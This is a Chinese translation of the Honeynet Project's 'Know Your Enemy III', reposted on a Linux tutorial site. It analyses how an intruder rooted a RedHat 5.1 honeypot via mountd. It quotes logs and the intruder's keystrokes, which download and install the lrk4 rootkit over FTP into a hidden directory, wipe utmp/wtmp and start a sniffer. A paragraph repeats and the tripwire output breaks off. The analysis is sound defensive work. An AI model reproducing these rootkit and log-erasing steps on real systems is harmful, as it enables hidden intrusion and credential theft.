歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux綜合 >> Linux資訊 >> 更多Linux >> 了解你的敵人III

了解你的敵人III

日期:2017/2/27 14:17:26   编辑:更多Linux
  Know Your Enemy: III They Gain Root Honeynet Project http://project.honeynet.org http://www.xfocus.org Last Modified: 27 March, 2000 本文是對入侵者進行研究系列文章中的第三篇。第一篇講述了入侵者們的探測行為、分類及利用漏洞的過程,第二篇聚焦於如何探測這些入侵企圖、鑒別他們使用了哪些工具、他們所尋找的漏洞有哪些……這篇文章,則講述了當他們獲得root權限後,所做的事情,重點放在他們是如何隱藏蹤跡以及之後如何做。可以從這裡下載原始數據進行分析。 入侵者是誰 就象我們在第一篇文章裡所說的,多數的入侵者並沒有考慮太多的策略方面的問題,他們更重視的是輕易地入侵,而非針對某些特定的信息或者某個特定的公司。他們把注意力集中於最有效的幾個漏洞利用程序上,然後在互聯網上尋找相應的主機——遲早他們會找到適合入侵的機器的…… 當他們獲得root權限這後,第一件事往往是抹去他們的蹤跡,他們需要確保系統管理員沒有發現系統被侵襲,並且不希望留下任何日志或者他們活動的記錄。然後,他們會使用你的機器來掃描網絡中的其它系統,或者靜靜地潛伏,以求獲得更多的資料。為了更好地了解他們是如何侵害系統的,我們將沿著一個入侵者的入侵步驟來觀察。我們的系統——mozart,上面運行的操作系統是RedHat 5.1。系統在1999年4月27日受到攻擊,下面的一些入侵過程的記錄,是從系統日志及擊鍵記錄中提取的,我們對系統日志及擊鍵都做了驗證,所有的系統日志都是在一個受保護的syslog服務器上的,所有的擊鍵都是由一個被嗅探器——稱為sniffit捕獲的。如果你想了解更多關於這些記錄獲得的技巧的話,請參見另一篇文章——建立網絡陷阱。在本文中,我們稱這個入侵者為“他”——因為我們無法得知其真正的性別。 漏洞利用 在4月27日的00:13,有一個家伙在域名為1Cust174.tnt2.long-branch.nj.da.uu.net的地方對我們進行掃描,針對了包括imap漏洞在內的幾個特定的漏洞,這些入侵者是比較討厭的,因為他們一下掃描了整個網段,(想了解更多關於這次探測的信息,可以參見系列文章中的第二篇 )。 Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174 Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174 Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174 很顯然地,他找到了一些他所樂見的東西,並且在06:52和16:47又回來了。他開始了一次針對mozart機器的徹底掃描,並且確定了這台機器存在著mountd的安全漏洞,這個漏洞是Red Hat 5.1中存在的一個會危及root安全的漏洞,我們可以從/var/log/messages中看到,這個入侵者應該已經獲得了超級用戶權限,他所使用的工具看上去象是ADMmountd.c或者一些極其類似的程序。 Apr 27 16:47:28 mozart mountd[306]: Unauthorized Access by NFS client 208.252.226.174. Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to mount ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~ 在運行了這個漏洞利用程序之後,我們可以從/var/log/messages中看到,這個入侵者馬上用crak0的帳號登陸,而後su成用戶rewt——這兩個用戶都是由該漏洞利用程序添加的,現在這位入侵者對我們的系統終於擁有了最高權限了。 Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, User not known to the underlying authentication module Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user crak0 by (uid=0)


Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt by crak0(uid=0) 抹去蹤跡 現在這個入侵者是我們系統的root了,下一步,他要確定他不會被逮到,所以他首先察看了一下是否有其它用戶登陸在系統中。 [crak0@mozart /tmp]$ w 4:48pm up 1 day, 18:27, 1 user, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT crak0 ttyp0 1Cust102.tnt1.lo 4:48pm 0.00s 0.23s 0.04s w 當他確定自己是安全時,他就開始准備將自己藏匿於無形了。最常見的做法是將日志文件中所有的入侵證據先擦除,並且將某些系統中的二進制程序替代為木馬——比如ps和netstat,這樣一般情況下系統管理員就無法發現入侵者的蹤跡了。當一切就緒時,這個入侵者就可以在你幾乎無法發現他的情況下,大搖大擺地對你的系統進行完全的控制了。他們用來隱藏自已蹤跡的工具,一般情況下我們稱之為rootkits,一個常見的rootkits就是lrk4,通過執行它,有許多有用的程序將在一瞬間被替換以便使入侵者消失於無形。如果你想了解更多的關於rootkits的消息,可以看看lrk4的說明文件。這可能會幫助你更多地了解rootkits,我還推薦你看看hide-and-seek這篇由網絡黑客寫的文檔,應該對隱藏蹤跡更有些主意。 在系統被入侵後的短短幾分鐘後,我們可以觀察到這個入侵者下載了一個rootkit,並且運行命令"make install"完成了對它的安裝,下面就是入侵者在隱藏自身時的一些擊鍵記錄。 cd /dev/ su rewt mkdir ". " cd ". " FTP technotronic.com anonymous [email protected] cd /unix/trojans get lrk4.unshad.tar.gz quit ls tar -zxvf lrk4.unshad.tar.gz mv lrk4 proc mv proc ". " cd ". " ls make install 注意到這個入侵者做了一件事,就是建立了一個隱藏目錄". ",然後把rootkit放在這裡面,這個目錄不會被"ls"命令列出來,而如果運行了"ls -la"命令的話,這個目錄看起來也象是該目錄自身。當然你可以通過運行"find"命令來找出它來。(當然這必須建立在你的find沒有被rootkit取代的情況下)。 mozart #find / -depth -name "*.*" /var/lib/news/.news.daily /var/spool/at/.SEQ /dev/. /. /procps-1.01/proc/.depend /dev/. /. /dev/ 這個入侵者雖然看來對裝後門木馬有比較豐富的經驗,擔對如何清除日志文件中自己的入侵記錄去沒啥主意,他並非利用一些清除日志的工具如zap2或者clean來做這件事,而是直接拷貝了/dev/null(這是一個設備特殊文件,為空)到/var/run/utmp及/var/log/utmp,然後刪除了/var/log/wtmp,這樣,如果你發現這些文件為空,或者試圖打開它的時候,你會碰上錯誤提示: [root@mozart sbin]# last -10 last: /var/log/wtmp: No sUCh file or Directory Perhaps this file was removed by the operator to prevent logging last info. 下一步 現在你的系統看上去已經足夠好了,入侵者往下往往會做兩件事:第一,他們通過用你的機器來對網絡中其它主機系統進行漏洞掃描;第二,他們希望藏得更深,並且看看他們還能從這個系統中得到什麼,比如說其它用戶的帳號……咱們這位入侵者選擇了第二條,他在系統中安裝了一個嗅探器以捕獲相關的網絡流量,包括telnet以及ftp的一些信息——這樣他就可以獲得登陸的用戶名及密碼,我們在/var/log/messages裡看到系統在受攻擊後一小段時間,網卡被置於混雜模式,以接收各種數據包了。

Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode. Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode. 當安裝木馬、清除日志以及開啟嗅探器這些工作都完成後,入侵者離開了我們的系統,當然,一段時間後,他一定還會回來看看,嗅探器是否捕獲到了一些有用的信息。 事態控制 當我們的這位朋友離開系統後,我就有機會好好檢查一下系統究竟發生了什麼。我對咱們被改變的文件、日志以及嗅探器得到的東西比較感興趣,首先我用tripwire來判斷哪些文件被修改或編輯的。需要確保,你通過可信的版本運行你的tripwire,我一般是用一個編譯成靜態的,存放於寫保護軟盤之上的的tripwire來判斷的,輸出如下: added: -rw-r--r-- root 5 Apr 27 17:01:16 1999 /usr/sbin/sniff.pid added: -rw-r--r-- root 272 Apr 27 17:18:09 1999 /usr/sbin/tcp.log changed: -rws--x--x root 15588 Jun 1 05:49:22 1998 /bin/login changed: drwxr-xr-x root 20480 Apr 10 14:44:37 1999 /usr/bin changed: -rwxr-xr-x root 52984 Jun 10 04:49:22 1998 /usr/bin/find changed: -r-sr-sr-x root 126600 Apr 27 11:29:18 1998 /usr/bin/passwd changed: -r-xr-xr-x root 47604 Jun 3 16:31:57 1998 /usr/bin/top changed: -r-xr-xr-x root 9712 May 1 01:04:46 1998 /usr/bin/killall changed: -r



Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode. 當安裝木馬、清除日志以及開啟嗅探器這些工作都完成後,入侵者離開了我們的系統,當然,一段時間後,他一定還會回來看看,嗅探器是否捕獲到了一些有用的信息。 事態控制 當我們的這位朋友離開系統後,我就有機會好好檢查一下系統究竟發生了什麼。我對咱們被改變的文件、日志以及嗅探器得到的東西比較感興趣,首先我用tripwire來判斷哪些文件被修改或編輯的。需要確保,你通過可信的版本運行你的tripwire,我一般是用一個編譯成靜態的,存放於寫保護軟盤之上的的tripwire來判斷的,輸出如下: added: -rw-r--r-- root 5 Apr 27 17:01:16 1999 /usr/sbin/sniff.pid added: -rw-r--r-- root 272 Apr 27 17:18:09 1999 /usr/sbin/tcp.log changed: -rws--x--x root 15588 Jun 1 05:49:22 1998 /bin/login changed: drwxr-xr-x root 20480 Apr 10 14:44:37 1999 /usr/bin changed: -rwxr-xr-x root 52984 Jun 10 04:49:22 1998 /usr/bin/find changed: -r-sr-sr-x root 126600 Apr 27 11:29:18 1998 /usr/bin/passwd changed: -r-xr-xr-x root 47604 Jun 3 16:31:57 1998 /usr/bin/top changed: -r-xr-xr-x root 9712 May 1 01:04:46 1998 /usr/bin/killall changed: -r



Copyright © Linux教程網 All Rights Reserved